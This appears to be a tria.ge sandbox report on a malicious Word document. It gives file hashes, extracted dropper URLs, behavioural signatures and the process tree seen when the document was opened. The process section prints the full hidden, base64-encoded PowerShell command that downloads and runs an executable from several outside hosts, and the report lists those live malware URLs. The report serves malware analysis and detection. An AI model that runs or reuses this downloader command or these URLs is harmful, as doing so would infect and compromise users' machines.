Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 21:26

General

  • Target

    759a79d326ec2adba9922e42f8062027af72a6660c7aa57a14af043d513931b8.doc

  • Size

    124KB

  • MD5

    335fe9fa1a92089b7ef769503667900d

  • SHA1

    aa1744f5e5b91d7f71fbca4cefaf10e50d84c0cd

  • SHA256

    759a79d326ec2adba9922e42f8062027af72a6660c7aa57a14af043d513931b8

  • SHA512

    4786f92c7025589812abc2ab8944c7ef7c05531bb78e99801adb25a9ee7a37b1b7aecb90afe74f571257ad6bb6dec4ecc0c1436a5d23f160abd91e8bb542158e

  • SSDEEP

    3072:FaKgdzSrG8KyIwLx3BhgC1s0rPOWfKNRP:FaKUzSLnLx3P3O0r2WfKN5

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://sandiegohomevalues.com/engl/4de-kzsyhu-768611/

exe.dropper

https://www.wenkawang.com/data/bofze0s-7ji4-15/

exe.dropper

https://www.bruidsfotograaf-utrecht.com/wp-includes/QLvFLy/

exe.dropper

http://ma.jopedu.com/img/8z8dl-3xn-655019278/

exe.dropper

http://pay.jopedu.com/ThinkPHP/l9okcguh6-b9nnrh7-96245524/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\759a79d326ec2adba9922e42f8062027af72a6660c7aa57a14af043d513931b8.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2384
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2808
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABKAGIAagBkAG0AcgBrAGYAPQAnAFcAdgB4AG8AagBqAHgAeQAnADsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAIAA9ACAAJwAzADAANgAnADsAJABHAHgAZAB1AG8AYwBkAGoAYwBqAHQAPQAnAEIAawBmAGsAYgBvAGYAaQBwAHAAYwB6AHQAJwA7ACQATQBiAGsAbQBvAG8AbgBnAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAKwAnAC4AZQB4AGUAJwA7ACQAVQBlAGYAYwB6AHAAYwBkAGYAaQB4AG8APQAnAFIAcQBkAGsAegBtAHkAZABtAHcAdAB3AGYAJwA7ACQASQB5AGIAbgBwAHkAdABmAGEAcABtAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAHcAZQBiAGMATABJAEUAbgB0ADsAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAA9ACcAaAB0AHQAcABzADoALwAvAHMAYQBuAGQAaQBlAGcAbwBoAG8AbQBlAHYAYQBsAHUAZQBzAC4AYwBvAG0ALwBlAG4AZwBsAC8ANABkAGUALQBrAHoAcwB5AGgAdQAtADcANgA4ADYAMQAxAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgB3AGUAbgBrAGEAdwBhAG4AZwAuAGMAbwBtAC8AZABhAHQAYQAvAGIAbwBmAHoAZQAwAHMALQA3AGoAaQA0AC0AMQA1AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBiAHIAdQBpAGQAcwBmAG8AdABvAGcAcgBhAGEAZgAtAHUAdAByAGUAYwBoAHQALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFEATAB2AEYATAB5AC8AKgBoAHQAdABwADoALwAvAG0AYQAuAGoAbwBwAGUAZAB1AC4AYwBvAG0ALwBpAG0AZwAvADgAegA4AGQAbAAtADMAeABuAC0ANgA1ADUAMAAxADkAMgA3ADgALwAqAGgAdAB0AHAAOgAvAC8AcABhAHkALgBqAG8AcABlAGQAdQAuAGMAbwBtAC8AVABoAGkAbgBrAFAASABQAC8AbAA5AG8AawBjAGcAdQBoADYALQBiADkAbgBuAHIAaAA3AC0AOQA2ADIANAA1ADUAMgA0AC8AJwAuACIAUwBgAFAATABJAFQAIgAoACcAKgAnACkAOwAkAEEAdgB2AGgAawBvAHkAZQByAD0AJwBaAGcAegBiAGQAegB5AG0AeQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBjAHIAbgBkAHEAZgBtAGYAbQBlACAAaQBuACAAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAApAHsAdAByAHkAewAkAEkAeQBiAG4AcAB5AHQAZgBhAHAAbQAuACIAZABPAGAAVwBuAGwAbwBhAEQAZgBgAEkAbABlACIAKAAkAFIAYwByAG4AZABxAGYAbQBmAG0AZQAsACAAJABNAGIAawBtAG8AbwBuAGcAKQA7ACQAUAB0AGkAdQBxAHIAaQBqAGQAawBsAHYAZQA9ACcASAB3AGgAcwBtAGwAegBzACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQATQBiAGsAbQBvAG8AbgBnACkALgAiAEwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMwAwADMAMAA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAGEAcgBUACIAKAAkAE0AYgBrAG0AbwBvAG4AZwApADsAJABMAHMAdAB4AHMAcwBpAGEAPQAnAFkAcAB5AGgAdgBoAGgAdwAnADsAYgByAGUAYQBrADsAJABWAG4AYQBzAGIAZgBmAG0AbwBxAD0AJwBDAG0AZwBxAHAAZwBzAHMAbgBkAGkAYgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAGwAcgBlAHIAdgB6AGgAaQA9ACcAQgB2AG4AbQB2AG0AcABhAGQAbgBsAGIAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2560

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\CEC5B19F.wmf

      Filesize

      444B

      MD5

      884a1e5c7c70c2bdc786376a62d99469

      SHA1

      17d4a4a3b4b8ef4dbd5b3f00016e89d56d9f3c18

      SHA256

      9936c201a012c78d91619952f938a0fb7085016b94c7ae9dc35dc520a20b0b95

      SHA512

      0e76b817cd03b31a0a5773b7493093c33e0f0147c50d94357e44dd00897f066184c51c4e1a656a5f912231f6100107295706b9a374a22b8cb1c07fdf08be8842

    • memory/2384-22-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/2384-18-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/2384-5-0x0000000004970000-0x0000000004A70000-memory.dmp

      Filesize

      1024KB

    • memory/2384-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2384-13-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/2384-12-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/2384-14-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/2384-16-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/2384-19-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/2384-0-0x000000002F341000-0x000000002F342000-memory.dmp

      Filesize

      4KB

    • memory/2384-2-0x000000007113D000-0x0000000071148000-memory.dmp

      Filesize

      44KB

    • memory/2384-17-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/2384-21-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/2384-15-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/2384-25-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/2384-23-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/2384-41-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/2384-40-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/2384-39-0x000000007113D000-0x0000000071148000-memory.dmp

      Filesize

      44KB

    • memory/2560-32-0x0000000001E70000-0x0000000001E78000-memory.dmp

      Filesize

      32KB

    • memory/2560-31-0x000000001B630000-0x000000001B912000-memory.dmp

      Filesize

      2.9MB